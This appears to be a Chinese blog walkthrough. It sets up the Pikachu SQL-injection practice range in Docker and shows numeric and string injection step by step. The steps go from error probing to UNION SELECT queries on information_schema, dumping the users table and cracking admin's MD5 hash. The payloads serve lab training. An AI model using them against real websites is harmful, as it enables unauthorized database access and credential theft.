-
docker安装pikachu(参考文章)
-
拉取资源到本地:
docker pull area39/pikachu
-
启动pikachu靶场,将容器命名为pikachu,映射web访问端口为9002,mysql数据库端口映射为23306:
docker run --name pikachu -d -p 9002:80 -p 23306:3306 area39/pikachu
要映射两个端口,不然会启动后会打不开靶场
-
访问pikachu,进行系统初始化(首次打开要初始化靶场中的数据库),访问
http://ip:9002
进性初始化,之后点击“点击这里”就可以进入靶场了。
-
-
pikachu靶场中的SQL-Inject练习
-
数字型注入
选择查询值1,并使用BurpSuite抓包
可以看到提交的内容id=1&submit=%E6%9F%A5%E8%AF%A2
,将其发送到Repeater并在id=
处
构造绕过语句id=1'&submit=%E6%9F%A5%E8%AF%A2
,看到报错回显得出数据库为MySQL;
构造绕过语句id=1"&submit=%E6%9F%A5%E8%AF%A2
,继续报错;
构造绕过语句id=1 and 1=1&submit=%E6%9F%A5%E8%AF%A2
,回显id=1的查询界面;
构造绕过语句id=1 and 1=2&submit=%E6%9F%A5%E8%AF%A2
,回显所查询id不存在,为整型注入;
开始查询:- 获取列数:
id=1 order by 2&submit=%E6%9F%A5%E8%AF%A2
- 查数据库名:
id=1 union select database(),version()&submit=%E6%9F%A5%E8%AF%
,得到数据库名pikachu
; - 查表名:
id=1 union select group_concat(table_name),1 from information_schema.tables where table_schema=database()&submit=%E6%9F%A5%E8%AF%
,得到表名httpinfo, member, message, users, xssblind
; - 查列名:
id=1 union select group_concat(column_name),1 from information_schema.columns where table_name='users'&submit=%E6%9F%A5%E8%AF%
,得到字段名USER, CURRENT_CONNECTIONS, TOTAL_CONNECTIONS, id, username, password, level
; - 查数据:
id=1 union select username,password from pikachu.users&submit=%E6%9F%A5%E8%AF%
,得到admin
以及加密过的密码e10adc3949ba59abbe56e057f20f883e
,丢到在线MD5解密网站得到admin
明文密码123456
。
- 获取列数:
-
字符型注入
参数直接拼接在URL中:
构造?name=vince'&submit=%E6%9F%A5%E8%AF%A2
,有报错;
构造?name=vince' '&submit=%E6%9F%A5%E8%AF%A2
,正常回显查询结果,所以可以用单引号闭合语句;
构造?name=vince'#&submit=%E6%9F%A5%E8%AF%A2
,为空回显,不能用#
注释,需要换一种注释方式;
构造?name=vince' -- &submit=%E6%9F%A5%E8%AF%A2
,正常回显查询结果,所以可以用--
来注释;- 接着就是一样的查列数:
构造?name=vince' order by 2-- &submit=%E6%9F%A5%E8%AF%A2
,列数为2; - 查数据库名和版本号:
构造?name=vince' union select database(),version()-- &submit=%E6%9F%A5%E8%AF%A2
- 查表名:
构造?name=vince' union select group_concat(table_name),1 from information_schema.tables where table_schema=database()-- &submit=%E6%9F%A5%E8%AF%A2
- 查列名:
构造?name=vince' union select group_concat(column_name),1 from information_schema.columns where table_schema=database()-- &submit=%E6%9F%A5%E8%AF%A2
- 查数据:
构造?name=vince' union select username,password from pikachu.users-- &submit=%E6%9F%A5%E8%AF%A2
- 接着就是一样的查列数:
-
01-20
9383
12-07
1375
03-29
2475
01-03
1968
06-11
1062
12-08
1631
10-08
587
07-27